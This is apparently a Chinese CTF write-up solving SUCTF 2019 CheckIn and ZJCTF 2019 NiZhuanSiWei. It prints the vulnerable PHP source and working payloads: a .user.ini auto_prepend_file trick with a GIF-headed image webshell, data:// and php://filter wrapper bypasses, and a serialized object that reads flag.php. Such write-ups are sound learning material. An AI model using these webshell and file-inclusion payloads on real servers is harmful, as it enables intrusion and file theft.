[SUCTF 2019]CheckIn
题目源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Upload Labs</title>
</head>
<body>
<h2>Upload Labs</h2>
<form action="index.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="fileUpload" id="file"><br>
<input type="submit" name="upload" value="提交">
</form>
</body>
</html>
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
审计代码,分别存在文件大小WAF、文件后缀名检查WAF、文件内容审计WAF以及图片类型判断WAF。
稍微总结一下绕过方式,文件大小WAF比较简单,类型判断只要加个文件头content-type就可以了。
后缀名检查过滤了php脚本以及.htacess文件。
文件内容审计进一步过滤了php以及一句话木马的可能性,但是我们可以通过图片码来进行绕过,例如这样:
<script language='php'><scirpt>
但是又需要上传.htacess文件来对图片码进行php解析。
这里利用到了.user.ini文件。
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有
PHP_INI_PERDIR
和PHP_INI_USER
模式的 INI 设置可被识别。两个新的 INI 指令, user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是
.user.ini
。user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
简单来讲,就是在目录下的INI文件会被PHP进行扫描,如果扫描到了则被用于配置该文件目录。
我们可以在INI文件中设置当访问该目录下的文件时,该文件包含图片马并进行解析,这样就可以利用图片马了。
注意利用条件:只有在 CGI/FastCGI SAPI 模式的服务器上才能使用 .user.ini。
在.user.ini文件中有两个设置auto_prepend_file和auto_append_file。
auto_prepend_file是在文件前插入文件;而auto_append_file在文件最后插入,类似于调用include进行文件包含。
有些时候,需要在文件前插入文件,以此来绕过死亡exit。
请注意,该利用方式需要文件目录下必须有一个可执行php文件,这样在该文件被访问时才会包含木马并被解析。这也提示我们,当文件上传目录下包含一个可执行php文件时,可以通过ini的方式进行利用。
上传.user.ini:
GIF89a
auto_prepend_file=shell.jpg
上传成功;接着上传图片马:
GIF89a
<script language='php'>system('cat /flag');</script>
访问获得flag。
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
$text 参数要求读入一个文件为内容 “welcome to the zjctf”,这里可以尝试php://input协议读入文件:
?text=php://input
再用POST传参的方式写入:
welcome to the zjctf
也可以使用data伪协议进行绕过:
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
$file 参数要求文件包含,这里用正则表达式过滤了flag.php,但是提示了存在useless.php,通过filter伪协议读取。
file=php://filter/convert.base64-encode/resource=useless.php
读取源码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
定义了一个类Flag,以及类中存在一个魔术方法__tostring(),分析该魔术方法可得,如果该文件设置了 $file 属性,则进行文件包含,并输出文件的内容。
查看index.php,其中对类进行反序列化之后直接输出,调用了魔术方法,所以直接构造反序列化字符串,定义变量内容为flag.php即可。
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}